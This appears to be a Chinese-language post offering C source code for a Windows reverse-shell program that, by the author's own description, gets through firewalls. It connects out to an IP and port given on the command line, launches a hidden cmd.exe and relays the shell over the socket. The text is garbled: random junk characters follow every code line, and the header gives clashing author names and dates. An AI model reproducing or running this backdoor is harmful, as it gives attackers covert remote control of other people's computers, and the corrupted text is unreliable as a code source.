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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 cAqLE\h  
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/* ============================== ksqQM  
Rebound port in Windows NT 6V:U (g  
By wind,2006/7 HT cb_a  
===============================*/ 2K6qY)/_  
#include c|B('3h  
#include 18d4fR   
o>i4CCU+  
#pragma comment(lib,"wsock32.lib") A5RN5`}  
4*#18<u5  
void OutputShell(); qI9z;_,gNz  
SOCKET sClient; K5VWt)Z#  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; m6K}|j  
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void main(int argc,char **argv) _LUhZlw  
{ K.nHii   
WSADATA stWsaData; ,RI Gc US  
int nRet; Y>T-af49  
SOCKADDR_IN stSaiClient,stSaiServer; 8f 4b&ah  
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if(argc != 3) m@F`!qY~Y\  
{ Q&ptc>{bH6  
printf("Useage:\n\rRebound DestIP DestPort\n"); x8\?}UnB  
return; JCzeXNY  
} Jr!JHC9i  
D~iz+{Q4  
WSAStartup(MAKEWORD(2,2),&stWsaData); >d*@_ kJM  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )Y0!~# `  
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stSaiClient.sin_family = AF_INET; &|ex`nwc0  
stSaiClient.sin_port = htons(0); y0.'?6k  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); z}9(x.I  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0 [# 3;a  
{ a=1@*ID  
printf("Bind Socket Failed!\n"); "1*:JVG  
return; o]_dJB  
} vjCu4+w($Z  
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stSaiServer.sin_family = AF_INET; ^4hO  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1~`fVg  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HTS0s\R$  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9c'xHO`  
{ f:w?pE  
printf("Connect Error!"); CL;}IBd a  
return; ~.nmI&3  
} ~2N"#b&J  
OutputShell(); J#(LlCs?@c  
} D& i94\vVa  
}W8;=$jr  
void OutputShell() e4_rC'=  
{ c )g\/  
char szBuff[1024]; RnE4<Cy  
SECURITY_ATTRIBUTES stSecurityAttributes; 3m)0z{n  
OSVERSIONINFO stOsversionInfo; >J?fl8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; q5+4S5R*^  
STARTUPINFO stStartupInfo; $dC?Tl|B0  
char *szShell; EU;9 *W<  
PROCESS_INFORMATION stProcessInformation; eHZws`W  
unsigned long lBytesRead; (@VMH !3  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); D%SlAzZ3  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vX"*4m>b?+  
stSecurityAttributes.lpSecurityDescriptor = 0; ~<5!?6Yt  
stSecurityAttributes.bInheritHandle = TRUE; H;LViP2K*  
=zPCrEk0  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); g%I"U>!2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); xml7Uarc  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); KqJs?Won  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 50wulGJud  
stStartupInfo.wShowWindow = SW_HIDE; 9>/4W.  
stStartupInfo.hStdInput = hReadPipe; #x60xz  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9T9!kb  
_Y4` xv0/  
GetVersionEx(&stOsversionInfo); Y =I'czg  
=v&hWjP  
switch(stOsversionInfo.dwPlatformId) P>D)7 V9Hh  
{ gPO}d  
case 1: TDjm2R~9FS  
szShell = "command.com"; "m8^zg hL  
break;  %OCb:s  
default: j2[+z tG  
szShell = "cmd.exe"; tw/dD +  
break; 9:|{6_Y  
} #q$HQ&k  
ZJJY8k `  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O _ gGf  
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send(sClient,szMsg,77,0); tSUEZ62EY  
while(1) #p&qUw  
{ 7Q9 w?y~c  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [ l??A3G  
if(lBytesRead) U9 s&  
{ ?e4YGOe.  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t%)7t9j  
send(sClient,szBuff,lBytesRead,0); #gN&lY:CFn  
} bsli0FJSh'  
else _J#zY- j  
{ pYEMmZ?L  
lBytesRead=recv(sClient,szBuff,1024,0); |syR6(U}  
if(lBytesRead<=0) break; .`H5cuF`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); lrE5^;/s1  
} 8/#A!Ww]  
} )2o?#8J  
O 8r|8]o  
return; K@]4g49A/j  
}
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